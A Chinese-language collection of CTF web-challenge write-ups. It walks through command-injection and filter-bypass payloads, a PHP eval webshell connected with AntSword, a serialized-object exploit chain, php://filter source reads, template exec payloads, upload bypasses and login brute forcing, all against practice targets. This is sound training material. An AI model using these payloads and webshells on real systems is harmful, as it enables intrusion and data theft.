bllbl_rce

打开是一个命令执行框

发现有限制,扫一下目录看看

进入admin/admin.php目录

是一个附件,内容是

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Command Query Tool</title>
</head>
<body>
<h1>Command Query Tool</h1>
<form action="index.php" method="post">
    <label for="command">输入你的命令</label>
    <input type="text" id="command" name="command" required>
    <button type="submit">执行</button>
</form>

<?php
if (isset($_POST['command'])) {
    $command = $_POST['command'];
    if (strpos($command, 'bllbl') === false) {
        die("no");
    }
    echo "<pre>";
    system ($command);
    echo "</pre>";
}
?>
</body>
</html>

我们输入的字符必须要带有bllbl否则就输出no,下面的system会把我们输入的字符当作命令执行,我们可以带上bllbl参数后面放要执行的命令来RCE

执行成功

bllbl;ls

pyload:

bllbl;cat /flag

狗黑子的隐藏

打开只有一个刷新页面的按钮

源代码也没有什么东西,扫一下目录

也没发现,但是源代码中有

那就post传递一个名字是id的执行

可以看到执行成功了,但是试一下读取源码都是弹出可能过滤了东西

cmd=ca"t" i?d?x.php

进行绕过一下

查看源码果然过滤了不少东西

但是过滤/目录分隔符号

我们可以用dirname链替代 /:

例子:$(dirname $PWD)就相当于../而$(dirname $(dirname $PWD))就相当于../../两 -所以可以使用这个绕过

也是好起来了,用一个就得到了

cmd=ls $(dirname $PWD)

接下来读一下,

pyload:

cmd=cd $(dirname $PWD);ca"t" ?la?.php

也可以,echo 上传一句木马

echo '<?php @eval($_POST["x"]);?>' > shell.php

得到flag

真假ECR

打开直接给源码,密密的过滤了不少东西

发现没过滤env试一下

但这个flag好像错的,find看看根目录

结合源代码的提示,直接访问试试

解码为

按照提示加上访问heigouzi.php

参数也是cmd,并且发现5个文件

访问/cainiao.txt

这是一段PHP解密脚本,再联系到目录中有一个she11.php这很可能是一个后门,而这段解密脚本应该就是用来获取密码的,我们用flag.php页面的key=answer、DATA=2JSklNA=这两个参数来充当密文和密钥,构造payload:

<?php
class Decryption
{
    public function decrypt($data, $key)
    {
        $key = md5($key);
        $data = base64_decode($data);
        $len = strlen($data);
        $str = '';
        for ($i = 0; $i < $len; $i++) {
            $k_char = $key[$i % 32];
            $str .= chr(ord($data[$i]) - ord($k_char));
        }
        return $str;
    }
}
$data = '2JSklNA=';
$key = 'answer';
$dec = new Decryption();
var_dump($dec->decrypt($data, $key));
?>

运行后拿到明文:wanan

用蚁剑连一下

其实也可以

nukaka_ser2

打开给到源代码

<?php

class FlagReader {
    private $logfile = "/tmp/log.txt";
    protected $content = "<?php system(\$_GET['cmd']); ?>";

    public function __toString() {

        if (file_exists('/flag')) {
            return file_get_contents('/flag');
        } else {
            return "Flag file not found!";
        }
    }
}

class DataValidator {
    public static function check($input) {
        $filtered = preg_replace('/[^\w]/', '', $input);
        return strlen($filtered) > 10 ? true : false;
    }

    public function __invoke($data) {
        return self::check($data);
    }
}

class FakeDanger {
    private $buffer;
    
    public function __construct($data) {
        $this->buffer = base64_encode($data);
    }

    public function __wakeup() {
        if (rand(0, 100) > 50) {
            $this->buffer = str_rot13($this->buffer);
        }
    }
}

class VulnerableClass {
    public $logger;
    private $debugMode = false;

    public function __destruct() {
        if ($this->debugMode) {
            echo $this->logger;
        } else {
            $this->cleanup();
        }
    }

    private function cleanup() {
        if ($this->logger instanceof DataValidator) {
            $this->logger = null;
        }
    }
}


function sanitize_input($data) {
    $data = trim($data);
    return htmlspecialchars($data, ENT_QUOTES);
}

if(isset($_GET['data'])) {
    $raw = base64_decode($_GET['data']);
    if (preg_match('/^[a-zA-Z0-9\/+]+={0,2}$/', $_GET['data'])) {
        unserialize($raw); 
    }
} else {
    highlight_file(__FILE__);
}
?>

大部分都是遮挡眼的直接构造

<?php
class FlagReader {
    private $logfile = "/tmp/log.txt";
    protected $content = "<?php system(\$_GET['cmd']); ?>";
    public function __toString() {
        if (file_exists('/flag')) {
            return file_get_contents('/flag');
        } else {
            return "";
        }
    }
}
class VulnerableClass {
    public $logger;
    private $debugMode = True;
    public function __destruct() {
        if ($this->debugMode) {
            echo $this->logger;
        }
    }
}
$a=new VulnerableClass();
$b=new FlagReader();
$a->logger=$b;
echo base64_encode(serialize($a));
?>
pyload:?data=TzoxNToiVnVsbmVyYWJsZUNsYXNzIjoyOntzOjY6ImxvZ2dlciI7TzoxMDoiRmxhZ1JlYWRlciI6Mjp7czoxOToiAEZsYWdSZWFkZXIAbG9nZmlsZSI7czoxMjoiL3RtcC9sb2cudHh0IjtzOjEwOiIAKgBjb250ZW50IjtzOjMwOiI8P3BocCBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsgPz4iO31zOjI2OiIAVnVsbmVyYWJsZUNsYXNzAGRlYnVnTW9kZSI7YjoxO30=

你也玩铲吗?

弹出登录和注册账户

先注册一下看看弹出来注册成功

下一步拿新注册的账户登录一下

提示身份是admin用户

发现注册admin用户登录进去还是一样的提示词

说明不是admin用户的事情

<!--偷偷告诉你:auth的值需要是user:admin,但它的检查逻辑可能进行了一些编码,比如:base64......-->

auth 是 authentication / authorization 的简写,翻译:认证、鉴权。

作用:用来证明你是谁、有没有访问权限,相当于登录凭证、通行证。也就是身份凭证用来验证登陆权限
常见传递位置:

URL 参数:?auth=xxx请求头:,Authorization: xxx,Cookie 表单字段

这里说值是user:admin但它的检查逻辑可能进行了一些编码,比如:base64

那就对user:admin进行base64编码为dXNlcjphZG1pbg==

修改cookie的参数发现也不行在想会不会漏了什么

扫描一下看看

发现admin.login.php

登录一下发现falg

PolarCMS

打开又是一个注册框

点击联系管理员可以看到管理员的id=huangle

指针放到密码上可以发现

我就要试试<发现登录进去了,逆天

选择上传一个文件

发现没有被解析

点击创建一个新页面,看了大佬的文章,存在伪SSTL漏洞

点击保存

${exec('ls /')}

pyload

${exec('cat /flag')}

Squirtle的论坛

打开页面,标签挨个都点了么发现跳转什么的

扫个目录看看

访问/admin.php,发现无权限访问

访问/src/

还是回看admin.php抓个包

注意

添加cookies

上传文件

蚁剑连一下

在根目录找到flag

狗黑子的舔狗日记

扎心的一题,先查看题目

没啥思路扫一下目录

访问/flag.php

真服了,骗进来啥

访问/www.zip

解压后好像是一个密码本

尝试读取index文件,查看内容

payload:/?page=php://filter/read=convert.base64-encode/resource=index.php

解码一下

<?php
session_start();
define('PAGE_WECHAT', 'xiaoxi.php');
define('PAGE_MOMENTS', 'pengyouquan.php');
define('PAGE_PROFILE', 'wode.php');

$defaultPage = PAGE_MOMENTS;

$currentPage = $_SESSION['current_page'] ?? $defaultPage;

$allowedPages = [PAGE_WECHAT, PAGE_MOMENTS, PAGE_PROFILE];
if (isset($_GET['page']) && in_array($_GET['page'], $allowedPages)) {
    $currentPage = $_GET['page'];
    $_SESSION['current_page'] = $currentPage;
    chdir(dirname(__FILE__));
    $is_dangerous = false;
    if ($is_dangerous) {
        echo "只允许当前目录";
    }
}
if (isset($_GET['page'])) {
    $requestedPage = $_GET['page'];
    $baseDir = dirname(__FILE__);
    if (strpos($requestedPage, 'php://') === 0) {

        if (preg_match('/resource=([^&]+)/', $requestedPage, $matches)) {
            $resource = $matches[1];
            

            $resource = urldecode($resource);
            if (strpos($resource, '/') !== false || strpos($resource, '\\') !== false || strpos($resource, '..') !== false) {
                die("不支持其他操作");
            }
            
            include($requestedPage);
            exit;
        }
    }
    
    $fullPath = realpath($baseDir . DIRECTORY_SEPARATOR . $requestedPage);
    if ($fullPath === false || dirname($fullPath) !== $baseDir) {
        die("不支持其他操作");
    }
    
    include($requestedPage);
    chdir(dirname(__FILE__));
    $is_dangerous = false;
    if ($is_dangerous) {
        echo "只允许当前目录";
    }
    exit; 
}
$flag='ZmxhZ3vlpbPnpZ7nmoTlkI3lrZdtZDXliqDlr4Z9CnRpcHMgIOWls+elnuW+ruS/oeWPt++8mm52c2hlbg==';
if (in_array($currentPage, $allowedPages)) {
    include($currentPage);
} else {
    include(PAGE_MOMENTS);
}

if (isset($_GET['action']) && $_GET['action'] === 'logout') {
    session_destroy();
    header('Location: src/denglu.php');
    exit;
}
?>

在源码中我们可以找到一串疑似flag的base64编码,我们对其解码看看:

要登录进去瞧瞧,得到女神的名字

退出登录,

抓包,前面知道,账户名是nvshen,直接爆破

得到密码:nvshen345

用账户密码登录女神的账号

可能看到,舔狗发来的信息,发一下信息给他

好像发什么都会回这一条

知道命字

flag{aa1e3ea993e122de5de6e387db6c8609}

polar快递

打开登录框,右上角有一个下载备忘录

内容太多,最重要的发现

登录账户

没发现有用的信息,抓个登录包分析分析

admin好像不行

修改为root试试

狗黑子的跳转

打开是一个永远点不到的按钮

跳转是一个文件上传的页面

发现只允许上传图片文件

改成png后改包

但是没有给文件上传位置

url访问弹出不是有效的文件

想着php伪协议读一下源码

ghzgouheizi.php?gou=php://filter/read=convert.base64-encode/resource=ghzgouheizi.php

base64解码一下得到位置

但是会进行base64加密后MD5加密最后放到.uploads/目录下,所以对我们上传的文件名先

再MD5加密

最后加上uploads/文件名.php

成功看到我们的文件头了

蚁剑连一下

得到flag

aa

打开是一个封面没什么有用的信息

查看一下源代码

访问i.php

分析一下代码,代码是在做计算,会把rawX的值放到decodeX函数里进行base64解码,会把rawY的值放到processY函数里进行md5加密然后返回前8个字符,会把rawZ的值放到decodeZ函数里进行url解码,最后flag就等于它们拼接起来。经过计算得到:
$X = 6547、$Y = caf1a3df、$Z = 25

最终:flag{6547caf1a3df25}

PolarShop

打开是一个积分兑换商店

那就修改一下

直接购物,第二个提示店主名

感觉是一个密码本

扫个目录看看

访问/admin.php

一个登录框但不知道用户名

访问/api.php

/config.php没有东西就不看了访问/download.php

没啥别的了根据获得的账户密码爆破一下

得到密码:

成功登录,点那个发现还是不能查看

想到是不是登录状态

得到flag

flag{d104c607a29d48eb99f2eece12281a7f}